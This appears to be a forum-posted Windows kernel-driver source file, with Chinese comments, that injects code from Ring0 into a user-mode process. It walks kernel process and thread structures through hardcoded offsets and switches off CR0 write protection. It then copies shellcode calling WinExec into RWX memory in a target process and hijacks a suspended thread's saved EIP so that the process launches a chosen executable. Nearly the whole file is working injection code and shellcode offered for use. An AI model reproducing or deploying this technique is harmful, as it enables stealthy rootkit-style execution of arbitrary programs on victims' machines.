/***************************************************************************************
*
* 模块: InjectRing3 [sys module]
*
* 平台: Windows XP SP2/sp3/ win7 sp1
*
* 描述:
* Ring0 注入 Ring3 的一种新方法。
* 挂起ring3线程后,修改其TrapFrame里的eip,再恢复其执行。
*
*
****************************************************************************************/
#ifndef _PROCESS_H_
#define _PROCESS_H_
#include "ntifs.h"
#include <WINDEF.H>
#include <ntimage.h>
#define ProcessBasicInformation 0
#define SystemProcessesAndThreadsInformation 5
#define SystemModuleInformation 11 // SYSTEMINFOCLASS
#define WINDOWS_VERSION_NONE 0
#define WINDOWS_VERSION_2K 1
#define WINDOWS_VERSION_XP 2
#define WINDOWS_VERSION_2K3 3
#define WINDOWS_VERSION_2K3_SP1 4
#define WINDOWS_VERSION_VISTA 5
#define WINDOWS_VERSION_WIN7 6
//线程链表偏移地址
#define BASE_PROCESS_PEB_OFFSET_2K 0//NT5.0.2195.7133
#define BASE_PROCESS_PEB_OFFSET_XP 0x01B0//NT5.1.2600.3093
#define BASE_PROCESS_PEB_OFFSET_2K3 0//nt5.2.3790.0
#define BASE_PROCESS_PEB_OFFSET_2K3_SP1 0//nt5.2.3790.1830
#define BASE_PROCESS_PEB_OFFSET_VISTA 0
#define BASE_PROCESS_PEB_OFFSET_WIN7 0x01a8 //win7
#define BASE_PROCESS_NAME_OFFSET_2K 0x01FC//NT5.0.2195.7133
#define BASE_PROCESS_NAME_OFFSET_XP 0x0174//NT5.1.2600.3093
#define BASE_PROCESS_NAME_OFFSET_2K3 0x0154//nt5.2.3790.0
#define BASE_PROCESS_NAME_OFFSET_2K3_SP1 0x0164//nt5.2.3790.1830
#define BASE_PROCESS_NAME_OFFSET_VISTA 0x014c
#define BASE_PROCESS_NAME_OFFSET_WIN7 0x016c //win7
#define BASE_PROCESS_FLINK_OFFSET_2K 0//NT5.0.2195.7133
#define BASE_PROCESS_FLINK_OFFSET_XP 0x0088//NT5.1.2600.3093
#define BASE_PROCESS_FLINK_OFFSET_2K3 0//NT5.2.3790.0
#define BASE_PROCESS_FLINK_OFFSET_2K3_SP1 0//nt5.2.3790.1830
#define BASE_PROCESS_FLINK_OFFSET_VISTA 0
#define BASE_PROCESS_FLINK_OFFSET_WIN7 0x00b8//win7
//ThreadListEntry偏移
#define BASE_KTHREAD_LIST_OFFSET_2K 0
#define BASE_KTHREAD_LIST_OFFSET_XP 0x22c
#define BASE_KTHREAD_LIST_OFFSET_2K3 0
#define BASE_KTHREAD_LIST_OFFSET_2K3_SP1 0
#define BASE_KTHREAD_LIST_OFFSET_WIN7 0x268
#define BASE_KTHREAD_SuspendCount_OFFSET_2K 0
#define BASE_KTHREAD_SuspendCount_OFFSET_XP 0x1b9
#define BASE_KTHREAD_SuspendCount_OFFSET_2K3 0
#define BASE_KTHREAD_SuspendCount_OFFSET_2K3_SP1 0
#define BASE_KTHREAD_SuspendCount_OFFSET_WIN7 0x188//win7
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K 0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_XP 0x248
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3 0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3_SP1 0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7 0x280
//KTHREAD中的Cid偏移
#define BASE_KTHREAD_Cid_OFFSET_XP 0x1ec
#define BASE_KTHREAD_Cid_OFFSET_WIN7 0x22c
//KTHREAD中的TrapFrame_偏移
#define BASE_KTHREAD_TrapFrame_OFFSET_XP 0x134
#define BASE_KTHREAD_TrapFrame_OFFSET_WIN7 0x128
//_EPROCESS中的ThreadListHead偏移
#define BASE_PROCESS_ThreadListHead_OFFSET_XP 0x190
#define BASE_PROCESS_ThreadListHead_OFFSET_WIN7 0x188
//_EPROCESS中的Pid偏移
#define BASE_PROCESS_Pid_OFFSET_XP 0x84
#define BASE_PROCESS_Pid_OFFSET_WIN7 0xb4
//_EPROCESS偏移汇总
typedef struct _EPROCESS_OFFSET
{
WORD wOffsetPeb;
WORD wOffsetName;
WORD wOffsetFlink;
WORD wOffsetResv;
WORD wOffsetThreadListHead;
WORD wOffsetPid;
}EPROCESS_OFFSET, *PEPROCESS_OFFSET, *LPEPROCESS_OFFSET;
//_KTHREAD偏移汇总
typedef struct _KTHREAD_OFFSET
{
WORD wOffsetThreadListEntry;
WORD wOffsetSuspendCount;
WORD wOffsetCrossThreadFlags;
WORD wOffsetCid;
WORD wOffsetTrapFrame;
}KTHREAD_OFFSET, *PKTHREAD_OFFSET, *LPKTHREAD_OFFSET;
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;;//SSDT
PServiceDescriptorTableEntry ShadowKeServiceDescriptorTable;//ShadowSSDT
//global
EPROCESS_OFFSET g_EProcessOffset;
KTHREAD_OFFSET g_KThreadOffset;
ULONG g_WinExec;
#define SEC_IMAGE 0x1000000
typedef struct _SECTION_IMAGE_INFORMATION
{
PULONG TransferAddress;
ULONG ZeroBits;
ULONG MaximumStackSize;
ULONG CommittedStackSize;
ULONG SubSysmtemType;
USHORT SubSystemMinorVersion;
USHORT SubSystemMajorVersion;
ULONG GpValue;
USHORT Imagecharacteristics;
USHORT DllCharacteristics;
USHORT Machine;
UCHAR ImageContainsCode;
UCHAR Spare1;
ULONG LoaderFlags;
ULONG ImageFileSize;
ULONG Reserved;
}SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
typedef struct _X86_KTRAP_FRAME {
ULONG DbgEbp;
ULONG DbgEip;
ULONG DbgArgMark;
ULONG DbgArgPointer;
ULONG TempSegCs;
ULONG TempEsp;
ULONG Dr0;
ULONG Dr1;
ULONG Dr2;
ULONG Dr3;
ULONG Dr6;
ULONG Dr7;
ULONG SegGs;
ULONG SegEs;
ULONG SegDs;
ULONG Edx;
ULONG Ecx;
ULONG Eax;
ULONG PreviousPreviousMode;
ULONG ExceptionList;
ULONG SegFs;
ULONG Edi;
ULONG Esi;
ULONG Ebx;
ULONG Ebp;
ULONG ErrCode;
ULONG Eip;
ULONG SegCs;
ULONG EFlags;
ULONG HardwareEsp;
ULONG HardwareSegSs;
ULONG V86Es;
ULONG V86Ds;
ULONG V86Fs;
ULONG V86Gs;
} X86_KTRAP_FRAME, *PX86_KTRAP_FRAME;
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod;
ULONG unknown[4];
ULONG base;
ULONG driver_start;
ULONG unk1;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
//.......
} MODULE_ENTRY, *PMODULE_ENTRY;
typedef
NTSTATUS
(__stdcall *
pfnZwSuspendThread)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
pfnZwSuspendThread KeSuspendThread = NULL;
pfnZwSuspendThread KeResumeThread = NULL;
VOID WPOFF()
{
__asm
{
cli
mov eax, cr0
and eax, ~10000h
mov cr0, eax
}
}
VOID WPON()
{
__asm
{
mov eax, cr0
or eax, 10000h
mov cr0, eax
sti
}
}
/************************************************************************/
/* win7下搜索kernel32.dll中的 WinExec地址
*/
/************************************************************************/
ULONG
SearchApiWin7(WORD api_hash)
/*
* 在kern32.dll中搜索指定API地址
* Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
*/
{
//搜索k32dll的API地址
PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
PLIST_ENTRY pTempList = pCurrentList;
PEPROCESS pEProcess = NULL;
do {
PPEB peb = NULL;
PUCHAR lpname = NULL;
pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;
KdPrint(("process %s\n", lpname));
if ((peb != NULL)
&& (_strnicmp(lpname, "explorer.exe", 8) == 0)) //不区分大小写
{
ULONG api_addr = 0;
shutdown_param.Explorer_PE = pEProcess; //记录explorer进程指针
KeAttachProcess((PKPROCESS)pEProcess);//附加进程
_asm
{
mov eax, peb;
mov eax, [eax+0x0c];//ldr
mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
mov esi,[esi]//win7要加这一句
lodsd; //eax = [esi];
mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY
//now get pe image infos to find LoadLibrary and GetProcAddress API
//assert ebx is the pe image base!!!
mov ax, api_hash; //Hash(LoadLibraryA) = 0xae14
//Hash(WinExec) = 0x72dc
//call search_api;
//mov [ebp-4], eax; //this is LoadLibraryA API
//------------------------------------------------------------------------------
//ebx-PE Image Base,eax-hash of api name, return eax!!!
//------------------------------------------------------------------------------
//search_api:
mov edx, eax;
mov eax, [ebx+0x3c]; //File address of the new exe header
mov eax, [eax+ebx+0x78]; //pe base ->data directory[16]
add eax, ebx; //get directory[0] Address ->export table ->eax
mov esi, [eax+0x20]; //get export funs names rva
add esi, ebx; //esi->export names table address
//mov ecx, [eax+0x18]; //get export funs numbers
xor ecx, ecx;
//search funs name tables
next_api:
mov edi, [esi+ecx*4]; //
add edi, ebx;
//-----------------------------------
//计算[edi]字符串的hash值
//-----------------------------------
pushad;
xor eax, eax;
cacul_next:
shl eax, 2;
movzx ecx, byte ptr[edi];
add ax, cx;
inc edi;
inc ecx;
loop cacul_next;
//test edx!!!
cmp ax, dx;
jz search_end;
popad;
inc ecx;
jmp next_api;
search_end:
popad;
//ecx is the GetProcAdress index
mov eax, [eax+0x1c];
add eax, ebx;
mov eax, [eax+4*ecx];
add eax, ebx;
mov api_addr, eax;
//ret;
}
KdPrint(("%08x\n", api_addr));
KeDetachProcess();
return api_addr;
}
pTempList = pTempList->Flink;
} while(pCurrentList != pTempList);
return 0;
}
/************************************************************************/
/* winxp下搜索kernel32.dll中的 WinExec地址
*/
/************************************************************************/
ULONG
SearchApiXp(WORD api_hash)
/*
* 在kern32.dll中搜索指定API地址
* Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
*/
{
//搜索k32dll的API地址
PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
PLIST_ENTRY pTempList = pCurrentList;
PEPROCESS pEProcess = NULL;
do
{
PPEB peb = NULL;
PUCHAR lpname = NULL;
pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;
KdPrint(("process %s\n", lpname));
if ((peb != NULL)
&& (_strnicmp(lpname, "explorer.exe", 8) == 0)) //不区分大小写
{
ULONG api_addr = 0;
//g_EProcessWinlogon = pEProcess; //记录winlogon进程指针
shutdown_param.Explorer_PE = pEProcess;
KeAttachProcess((PKPROCESS)pEProcess);
_asm
{
mov eax, peb;
mov eax, [eax+0x0c];//ldr
mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
lodsd; //eax = [esi];
mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY
//now get pe image infos to find LoadLibrary and GetProcAddress API
//assert ebx is the pe image base!!!
mov ax, api_hash; //Hash(LoadLibraryA) = 0xae14
//Hash(WinExec) = 0x72dc
//call search_api;
//mov [ebp-4], eax; //this is LoadLibraryA API
//------------------------------------------------------------------------------
//ebx-PE Image Base,eax-hash of api name, return eax!!!
//------------------------------------------------------------------------------
//search_api:
mov edx, eax;
mov eax, [ebx+0x3c]; //File address of the new exe header
mov eax, [eax+ebx+0x78]; //pe base ->data directory[16]
add eax, ebx; //get directory[0] Address ->export table ->eax
mov esi, [eax+0x20]; //get export funs names rva
add esi, ebx; //esi->export names table address
//mov ecx, [eax+0x18]; //get export funs numbers
xor ecx, ecx;
//search funs name tables
next_api:
mov edi, [esi+ecx*4]; //
add edi, ebx;
//-----------------------------------
//计算[edi]字符串的hash值
//-----------------------------------
pushad;
xor eax, eax;
cacul_next:
shl eax, 2;
movzx ecx, byte ptr[edi];
add ax, cx;
inc edi;
inc ecx;
loop cacul_next;
//test edx!!!
cmp ax, dx;
jz search_end;
popad;
inc ecx;
jmp next_api;
search_end:
popad;
//ecx is the GetProcAdress index
mov eax, [eax+0x1c];
add eax, ebx;
mov eax, [eax+4*ecx];
add eax, ebx;
mov api_addr, eax;
//ret;
}
KdPrint(("%08x\n", api_addr));
KeDetachProcess();
return api_addr;
}
pTempList = pTempList->Flink;
} while(pCurrentList != pTempList);
return 0;
}
/************************************************************************/
/* 获取WINDOWS版本
通过ImageName偏移来判断
*/
/************************************************************************/
WORD GetWindowsVersion()
{
PEPROCESS pSystemProcess = PsGetCurrentProcess();
WORD offset;
for (offset=0; offset < PAGE_SIZE; offset++)
{
if(strncmp("System", (PCHAR)pSystemProcess + offset, 6) == 0)
{
g_EProcessOffset.wOffsetName = offset;
KdPrint(("%08x", offset));
switch (offset)
{
case BASE_PROCESS_NAME_OFFSET_2K:
KdPrint(("WINDOWS_VERSION_2K\n"));
return WINDOWS_VERSION_2K;
break;
case BASE_PROCESS_NAME_OFFSET_XP:
KdPrint(("WINDOWS_VERSION_XP\n"));
return WINDOWS_VERSION_XP;
break;
case BASE_PROCESS_NAME_OFFSET_2K3:
KdPrint(("WINDOWS_VERSION_2K3\n"));
return WINDOWS_VERSION_2K3;
break;
case BASE_PROCESS_NAME_OFFSET_2K3_SP1:
KdPrint(("WINDOWS_VERSION_2K3_SP1\n"));
return WINDOWS_VERSION_2K3_SP1;
break;
case BASE_PROCESS_NAME_OFFSET_VISTA:
KdPrint(("WINDOWS_VERSION_VISTA\n"));
return WINDOWS_VERSION_VISTA;
break;
case BASE_PROCESS_NAME_OFFSET_WIN7:
KdPrint(("WINDOWS_VERSION_WIN7\n"));
return WINDOWS_VERSION_WIN7;
break;
default:
return WINDOWS_VERSION_NONE;
}
}
}
return WINDOWS_VERSION_NONE;
}
/************************************************************************/
/* 根据WINDOWS平台
初始化一些偏移,根据偏移得到Win32 API的地址(WinExec)
这里只对WINXP 和 WIN7进行了处理
*/
/************************************************************************/
BOOLEAN InitEProcessInfo()
{
switch (GetWindowsVersion())
{
case WINDOWS_VERSION_2K:
g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K;
g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K;
g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K;
// g_KThreadOffset.wOffsetAlertable = BASE_KTHREAD_ALERTABLE_OFFSET_2K;
// g_KThreadOffset.wOffsetApcState = BASE_KTHREAD_APCSTATE_OFFSET_2K;
break;
case WINDOWS_VERSION_XP:
g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_XP;
g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_XP;
g_EProcessOffset.wOffsetThreadListHead = BASE_PROCESS_ThreadListHead_OFFSET_XP;
g_EProcessOffset.wOffsetName = BASE_PROCESS_NAME_OFFSET_XP;
g_EProcessOffset.wOffsetPid = BASE_PROCESS_Pid_OFFSET_XP;
g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_XP;
g_KThreadOffset.wOffsetSuspendCount = BASE_KTHREAD_SuspendCount_OFFSET_XP;
g_KThreadOffset.wOffsetCrossThreadFlags = BASE_KTHREAD_CrossThreadFlags_OFFSET_XP;
g_KThreadOffset.wOffsetCid = BASE_KTHREAD_Cid_OFFSET_XP;
g_KThreadOffset.wOffsetTrapFrame = BASE_KTHREAD_TrapFrame_OFFSET_XP;
shutdown_param.uRoutine = 0x34;
shutdown_param.WinVer = WINDOWS_VERSION_XP;
//搜索API
__try
{
g_WinExec = SearchApiXp(0x72dc);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return FALSE;
}
break;
case WINDOWS_VERSION_2K3:
g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K3;
g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K3;
g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K3;
// g_KThreadOffset.wOffsetAlertable = BASE_KTHREAD_ALERTABLE_OFFSET_2K3;
// g_KThreadOffset.wOffsetApcState = BASE_KTHREAD_APCSTATE_OFFSET_2K3;
break;
case WINDOWS_VERSION_2K3_SP1:
g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K3_SP1;
g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K3_SP1;
g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K3_SP1;
// g_KThreadOffset.wOffsetAlertable = BASE_KTHREAD_ALERTABLE_OFFSET_2K3_SP1;
// g_KThreadOffset.wOffsetApcState = BASE_KTHREAD_APCSTATE_OFFSET_2K3_SP1;
break;
case WINDOWS_VERSION_WIN7:
g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_WIN7;
g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_WIN7;
g_EProcessOffset.wOffsetThreadListHead = BASE_PROCESS_ThreadListHead_OFFSET_WIN7;
g_EProcessOffset.wOffsetName = BASE_PROCESS_NAME_OFFSET_WIN7;
g_EProcessOffset.wOffsetPid = BASE_PROCESS_Pid_OFFSET_WIN7;
g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_WIN7;
g_KThreadOffset.wOffsetSuspendCount = BASE_KTHREAD_SuspendCount_OFFSET_WIN7;
g_KThreadOffset.wOffsetCrossThreadFlags = BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7;
g_KThreadOffset.wOffsetCid = BASE_KTHREAD_Cid_OFFSET_WIN7;
g_KThreadOffset.wOffsetTrapFrame = BASE_KTHREAD_TrapFrame_OFFSET_WIN7;
shutdown_param.uRoutine = 0x10;
shutdown_param.WinVer = WINDOWS_VERSION_WIN7;
//搜索API
__try
{
g_WinExec = SearchApiWin7(0x72dc);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return FALSE;
}
break;
default:
KdPrint(("OS not support!\n"));
return TRUE;
}
return TRUE;
}
/************************************************************************/
/* 获取SSDT服务函数索引号
*/
/************************************************************************/
DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName)
{
HANDLE hThread, hSection, hFile, hMod;
SECTION_IMAGE_INFORMATION sii;
IMAGE_DOS_HEADER* dosheader;
IMAGE_OPTIONAL_HEADER* opthdr;
IMAGE_EXPORT_DIRECTORY* pExportTable;
DWORD* arrayOfFunctionAddresses;
DWORD* arrayOfFunctionNames;
WORD* arrayOfFunctionOrdinals;
DWORD functionOrdinal;
DWORD Base, x, functionAddress;
char* functionName;
STRING ntFunctionName, ntFunctionNameSearch;
PVOID BaseAddress = NULL;
SIZE_T size=0;
OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};
IO_STATUS_BLOCK iosb;
//_asm int 3;
ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);
ZwClose(hFile);
//BaseAddress = GetModlueBaseAdress("ntoskrnl.exe");
hMod = BaseAddress;
dosheader = (IMAGE_DOS_HEADER *)hMod;
opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);
pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);
// now we can get the exported functions, but note we convert from RVA to address
arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);
arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);
arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);
Base = pExportTable->Base;
RtlInitString(&ntFunctionNameSearch, lpFunctionName);
for(x = 0; x < pExportTable->NumberOfFunctions; x++)
{
functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);
RtlInitString(&ntFunctionName, functionName);
functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; // always need to add base, -1 as array counts from 0
// this is the funny bit. you would expect the function pointer to simply be arrayOfFunctionAddresses[x]...
// oh no... thats too simple. it is actually arrayOfFunctionAddresses[functionOrdinal]!!
functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0)
{
//ZwClose(hSection);
return functionAddress;
}
}
//ZwClose(hSection);
return 0;
}
/************************************************************************/
/* 获取SSDT函数的地址
*/
/************************************************************************/
PVOID GetSSDTApi(PCHAR ApiName)
{
UNICODE_STRING dllName;
DWORD functionAddress;
int position;
RtlInitUnicodeString(&dllName, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
__try
{
functionAddress = GetDllFunctionAddress(ApiName, &dllName);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
position = *((WORD*)(functionAddress+1));
return (PVOID)*( (PULONG)(KeServiceDescriptorTable->ServiceTableBase) + position );
}
////////////////////////////////////////////////
//
// 被注入到ring3进程的代码
//
////////////////////////////////////////////////
// 2F1D159C > 50 push eax
// 2F1D159D B8 FDE51E76 mov eax,0x761EE5FD WinExec
// 2F1D15A2 6A 01 push 0x1
// 2F1D15A4 68 FFFFFF7F push 0x7FFFFFFF //C:\\1.exe
// 2F1D15A9 FFD0 call eax // call WinExec
// 2F1D15AB 58 pop eax
/************************************************************************/
/* ShellCode
call WinExec
*/
/************************************************************************/
_declspec (naked) void ShellCode() {
_asm {
push eax
// WinExec
mov eax,0x761ee5fd //B8 4D 11 86 7C
push 1 //6A 01
push 0x7fffffff //68 FF FF FF 7F
call eax //FF D0
pop eax
// jmp ds:12345678H, 绝对地址跳转
_emit 0xEA
_emit 0x78
_emit 0x56
_emit 0x34
_emit 0x12
_emit 0x1B //段选择子
_emit 0x00
//运行的路径 40个字节
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
}
}
///////////////////////////////////////////////////////
//
// 查找ZwSuspendThread和ZwResumeThread
//
///////////////////////////////////////////////////////
ULONG FindFunc()
{
KeSuspendThread = (pfnZwSuspendThread)GetSSDTApi("ZwSuspendThread");
KeResumeThread = (pfnZwSuspendThread)GetSSDTApi("ZwResumeThread");
if ( KeSuspendThread &&
KeResumeThread)
return TRUE;
return FALSE;
}
///////////////////////////////////////////////////////////////
//
// 注入ShellCode到线程,分配内存来拷贝ShellCode
//
///////////////////////////////////////////////////////////////
VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess) {
ULONG i;
PX86_KTRAP_FRAME pTrapFrame;
PCLIENT_ID pCid;
OBJECT_ATTRIBUTES oa;
HANDLE hProcess;
NTSTATUS ntstatus;
PVOID lpTargetPath = NULL;
char *path ;
ULONG pathAddr;
DbgPrint("Inject Start\n");
// 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常
__try {
KeSuspendThread(pThread, NULL);
}
__except(1) {
return;
}
// PTrapFrame中就是该线程的各个寄存器的值
pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + g_KThreadOffset.wOffsetTrapFrame);
// 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回
for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {
if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){
if ( *(PULONG)i == 0x12345678 )
{
DbgPrint("find modify point\n");
WPOFF();
*(PULONG)i = pTrapFrame->Eip;
WPON();
break;
}
}
}
WPOFF();
lpTargetPath = (PVOID)((ULONG)ShellCode + 24);
memcpy((PUCHAR)(ULONG)ShellCode + 2, &g_WinExec, 4); //填写winexec地址
memset(lpTargetPath, 0, 40); //
WPON();
// 下面的代码是分配空间来放置ShellCode
// 调用一些相应函数来实现更好,我比较懒,就硬编码了
InitializeObjectAttributes(&oa,0,0,0,0);
pCid = (CLIENT_ID*)((ULONG)pThread + /*0x1ec*/g_KThreadOffset.wOffsetCid); // Cid XP SP2
ntstatus = ZwOpenProcess(
&hProcess,
PROCESS_ALL_ACCESS,
&oa,
pCid
);
if ( NT_SUCCESS(ntstatus) )
{
PVOID pBuff = NULL;
SIZE_T size = 0x64;
ntstatus = ZwAllocateVirtualMemory(
hProcess,
&pBuff,
0,
&size,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if( NT_SUCCESS(ntstatus) )
{
KAPC_STATE kapc;
// 拷贝ShellCode到目标进程中去
KeStackAttachProcess((PRKPROCESS)pProcess,&kapc);
RtlCopyMemory(pBuff,ShellCode,size);//先拷贝ShellCode过去
path = "C:\\Program Files\\lock\\lock.exe";
pathAddr = ((ULONG)pBuff + 24);
RtlCopyMemory( (PVOID)((ULONG)pBuff + 24), path, strlen(path) );//填写运行的路径 path
RtlCopyMemory( (PVOID)((ULONG)pBuff + 9), &pathAddr, 4);//填写路径的地址
KeUnstackDetachProcess (&kapc);
// pTrapFrame->Eip指向ShellCode
pTrapFrame->Eip = (ULONG)pBuff;
}
ZwClose(hProcess);
}
// 恢复线程执行
KeResumeThread(pThread, NULL);
DbgPrint("Inject End\n");
}
////////////////////////////////////////////////
//
// 注入ShellCode到进程
//
////////////////////////////////////////////////
#define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL
#define IS_SYSTEM_THREAD(Thread) ((((Thread)+0x280)&PS_CROSS_THREAD_FLAGS_SYSTEM) != 0)
BOOLEAN Inject(char* strProc, int len)
{
PEPROCESS pProcess;
PETHREAD pThread;
PLIST_ENTRY pListHead, pNextEntry;
PLIST_ENTRY pThListHead, pThNextEntry;
UCHAR SuspendCount;
ULONG CrossThreadFlags;
pProcess = PsGetCurrentProcess();
pListHead = (PLIST_ENTRY)((ULONG)pProcess + g_EProcessOffset.wOffsetFlink); //0x88 //ActiveProcessLinks
pNextEntry = pListHead;
// 先找到要注入的进程,通过ZwQuerySystemInformation来查找更稳定一些
// 不过本人很讨厌那个繁琐的函数……
do
{
pProcess = (PEPROCESS)((ULONG)pNextEntry - g_EProcessOffset.wOffsetFlink/*0x88*/);
if ( !_strnicmp((char*)pProcess + g_EProcessOffset.wOffsetName/*0x174*/, strProc, len) )
{
DbgPrint("find process\n");
pThListHead = (PLIST_ENTRY)((ULONG)pProcess + /*0x190*/g_EProcessOffset.wOffsetThreadListHead); // ThreadListHead, XP SP2
pThNextEntry = pThListHead->Flink;
while ( pThNextEntry != pThListHead)
{
// 接着查找符合条件的线程
pThread = (PETHREAD)((ULONG)pThNextEntry - /*0x22c*/g_KThreadOffset.wOffsetThreadListEntry); // ThreadListEntry, XP SP2
SuspendCount = *(PUCHAR)((ULONG)pThread + /*0x1b9*/g_KThreadOffset.wOffsetSuspendCount);
CrossThreadFlags = *(PULONG)((ULONG)pThread + /*0x248*/g_KThreadOffset.wOffsetCrossThreadFlags);
if( !SuspendCount && (CrossThreadFlags & PS_CROSS_THREAD_FLAGS_SYSTEM) == 0 )
{
// 非Suspend,非退出态,非内核线程
DbgPrint("find thread\n");
// 注入找到的线程
InjectShellCode(pThread,pProcess);
return TRUE;
break;
}
pThNextEntry = pThNextEntry->Flink;
}
break;
}
pNextEntry = pNextEntry->Flink;
} while(pNextEntry != pListHead);
return FALSE;
}
/************************************************************************/
/* 从内核中注入RING3线程
运行我们指定的EXE程序
strProc 为要注入的进程
*/
/************************************************************************/
BOOLEAN RunMyProcess(char* strProc, int len)
{
if ( !FindFunc() )
{
DbgPrint("Find KexxxThread failed!\n");
return FALSE;
}
if ( !Inject(strProc, strlen(strProc)) )
{
KdPrint(("Inject failed\n"));
return FALSE;
}
return TRUE;
}
#endif
调用方法
InitEProcessInfo();
if ( RunMyProcess(strProc, strlen(strProc)) )
{
KdPrint(("run proc suc!\n"));
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)